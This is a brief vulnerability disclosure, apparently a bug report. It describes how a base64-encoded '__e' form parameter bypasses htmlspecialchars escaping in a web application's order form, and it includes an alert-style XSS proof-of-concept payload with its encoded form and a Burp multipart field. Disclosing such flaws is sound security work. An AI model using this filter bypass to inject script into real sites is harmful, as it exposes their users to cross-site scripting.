  1. Description
  
  By default all user input is escaped using `htmlspecialchars`.
  
  But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.

  2. Proof of Concept
  
  For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.
  
  So create new order and set `address_1` value as `__e` using for example Burp:
  
  ```
  Content-Disposition: form-data; name="__e"
  
  YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
  ```
